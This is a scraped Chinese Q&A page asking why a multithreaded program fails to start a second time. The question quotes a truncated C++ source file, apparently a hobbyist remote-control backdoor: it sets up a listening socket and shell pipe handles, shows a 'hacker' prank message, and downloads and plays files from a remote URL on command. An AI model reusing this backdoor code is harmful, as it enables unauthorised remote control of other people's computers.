当前位置: 代码迷 >> C++ >> 多线程程序运作一次,关了之后,第二次就打不开了
  详细解决方案

多线程程序运作一次,关了之后,第二次就打不开了

热度:3307   发布时间:2013-02-26 00:00:00.0
多线程程序运行一次,关了之后,第二次就打不开了
// TwoPipeDoor.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <Urlmon.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"winmm.lib")  //mciSendString的头文件
#include <mmsystem.h>  //mciSendString的头文件
#include <direct.h>  //创建文件夹的头文件
#include<direct.h>
#include <shellapi.h>

SOCKET sListen,sClient;
//定义管道句柄
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;

void audio(char MusicName[MAX_PATH])
{
char syspath[MAX_PATH];
    memset(syspath, 0, MAX_PATH);
    GetWindowsDirectory(syspath, MAX_PATH);
char path[MAX_PATH];
memset(path, 0, MAX_PATH);
wsprintf(path, "%s\\Media\\%s", syspath, MusicName);
char shortname[MAX_PATH];
memset(shortname, 0, MAX_PATH);
GetShortPathName(path, shortname, MAX_PATH);
char cmd[MAX_PATH];
memset(cmd, 0, MAX_PATH);
wsprintf(cmd, "play %s wait", shortname);
mciSendString(cmd, "", 0, NULL);
//Sleep(150000);
}
//判断文件是否存在
BOOL FileExists(LPCTSTR lpszFileName)
{
//得到文件属性
DWORD dwAttributes=GetFileAttributes(lpszFileName);
//函数调用成功则文件存在
if(dwAttributes==0xffffffff)
{
return false;
}
//否则文件不存在
else
{
return true;
}
}

//http下载文件
void download(char *Url,char *FilePath)
{
//删除已有文件
if(DeleteFile(FilePath))
{
printf("文件已存在,并且无法删除\n");
}
//下载文件
URLDownloadToFile(0,Url,FilePath,0,0);
//判断文件存不存在,以确定下载成有与否
if(FileExists(FilePath))
{
printf("文件下载成功\n%s\n\n", FilePath);
}
else
{
printf("文件下载失败\n%s\n\n", FilePath);
}
}


DWORD WINAPI Thread3( LPVOID lpParam )
{
MessageBox(NULL, TEXT("李建锋对你执行了关机命令!!!黑客编程雄起!!!"), TEXT("消息"), 0);
while(true)
{
char buff[MAX_PATH];
memset(buff, 0, MAX_PATH);
    recv(sClient ,buff,MAX_PATH,0);
if(! strcmp(buff, "点歌"))
{
char Url[MAX_PATH] = "http://images1.fotop.net/albums6/waiyee/The_Peak/Goodbye_Police.mp3";
char FilePath[MAX_PATH];
memset(FilePath, 0, MAX_PATH);  //声明数组之后的清理操作,防止数组出错
char moduleFileName[MAX_PATH];
memset(moduleFileName, 0, MAX_PATH);
GetModuleFileNameA(NULL, moduleFileName, MAX_PATH);  //取得当前运行程序的路径(包括当前程序也在获得的路径当中)
char * p = strrchr(moduleFileName, '\\'); //从后往前找的数组moduleFileName中的第一个 \\ 
*p=0x00;                                  //给数组moduleFileName的从后往前的第一个\\替换为0x00(0)
wsprintf(FilePath, "%s\\Goodbye_Police.mp3", moduleFileName);//往数组中合并字符串
download(Url, FilePath);  //下载音乐
char shortname[MAX_PATH];
GetShortPathName(FilePath,shortname,MAX_PATH);//szFile就是路径,shortname就是Windows要转换成的简单路径名字
  相关解决方案